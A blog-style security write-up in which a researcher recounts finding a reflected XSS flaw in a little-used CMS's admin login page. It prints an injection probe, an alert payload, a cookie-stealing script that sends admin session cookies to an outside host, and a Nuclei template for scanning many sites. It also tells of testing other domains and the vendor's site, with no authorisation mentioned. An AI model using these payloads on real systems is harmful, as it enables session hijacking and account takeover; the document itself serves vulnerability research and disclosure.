Discovering and Exploiting an XSS Vulnerability in an Admin Panel

4 min readAug 6, 2024

Hello everyone, my name is Ali Soltani (soltanali0). Today, I want to share an exciting discovery I made while working on one of my targets. As someone who actively researches various CVEs and shares my findings on LinkedIn through my weekly series “GO-TO CVE,” I was thrilled to uncover this vulnerability.

Browse through targets like a normal user

While exploring the target, I found a login page at /user/login.php. Interestingly, there was no option for user registration. I searched through various subdomains, even brute-forcing the DNS, but found no way to register. I scanned multiple paths but still came up empty-handed. Undeterred, I decided to experiment a bit.

I wondered if changing the path to /admin/login.php would yield any results. To my surprise, it redirected me to an admin login page, where administrators could log in. I then scoured for any option to register an admin user, even though I knew it was unlikely. I examined several JavaScript files, reading through many of them, but found nothing useful.

Vulnerability detection

Frustrated but not defeated, I hypothesized that the same developer who coded the regular login might have also worked on the admin login. Upon further inspection, I noticed a small difference between the two. I decided to test a simple payload to see if I could break anything.

I used the following payload in the email field:

ali@gmail.com"'>aaaa

and entered a password. Sure enough, the input broke, and upon checking the DOM, I confirmed that it was indeed vulnerable to injection.

Triggering the Vulnerability

Excited by this discovery, I crafted a straightforward payload to trigger an XSS vulnerability:

aa"><script>alert(origin)</script>aa

This successfully triggered an alert, confirming the XSS vulnerability. I then discovered that this admin panel was present on several other domains owned by the same company. Testing on those domains confirmed they were also vulnerable.

Exploiting the Vulnerability

To turn this into a more impactful exploit, I used the following payload to capture cookies:

<script>new Image().src="https://burp/abc.php?output="%2bdocument.cookie;</script>

This payload allowed me to successfully receive cookies from the admin sessions.

Upon further investigation, I realized that this vulnerability was tied to a particular CMS. Excited by this, I tested the CMS’s official site, and it too was vulnerable, sending cookies as expected. Since this vulnerability was not previously reported, I was thrilled by the discovery.

Automating for Mass Detection :)

To help others identify this vulnerability more efficiently, I wrote a Nuclei template. This template automates the process of detecting the XSS vulnerability in the admin login page of the CMS.

Here is the Nuclei template I created:

id: xss
info:
  name: Template Name
  author: soltanali
http:
  - raw:
      - |-
        POST /admin/login.php HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate, br
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
        Accept-Language: en-US;q=0.9,en;q=0.8
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
        Connection: close
        Cache-Control: max-age=0
        Cookie: PHPSESSID=e324718971asdfsdfaswef34
        Origin: http://{{Hostname}}
        Upgrade-Insecure-Requests: 1
        Referer: http://{{Hostname}}/admin/login.php
        Content-Type: application/x-www-form-urlencoded
        Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="121", "Chromium";v="121"
        Sec-CH-UA-Platform: Windows
        Sec-CH-UA-Mobile: ?0
        Content-Length: 115

        email=ali@gmail.com%22%3e%3cscript%3ealert(origin)%3c%2fscript%3ec8sez&password=s7I%21x6f%21V2
    matchers:
      - type: word
        part: header
        words:
          - HTTP/1.1 200 OK
          - HTTP/1.1 403 Forbidden

Observations

Despite successfully creating the template and finding the vulnerability in several instances, I noticed that the CMS in question had very few stars on its repository, indicating low usage. Consequently, not many targets were using this CMS, which somewhat limited the impact of my findings.

Conclusion

This journey highlights the importance of persistence and creativity in vulnerability research. By not giving up and thinking outside the box, I uncovered a critical vulnerability that had gone unnoticed. This discovery not only adds to my research portfolio but also emphasizes the need for continuous security testing and improvement in web applications

Thank you for reading, and stay tuned for more exciting discoveries in my “GO-TO CVE” series!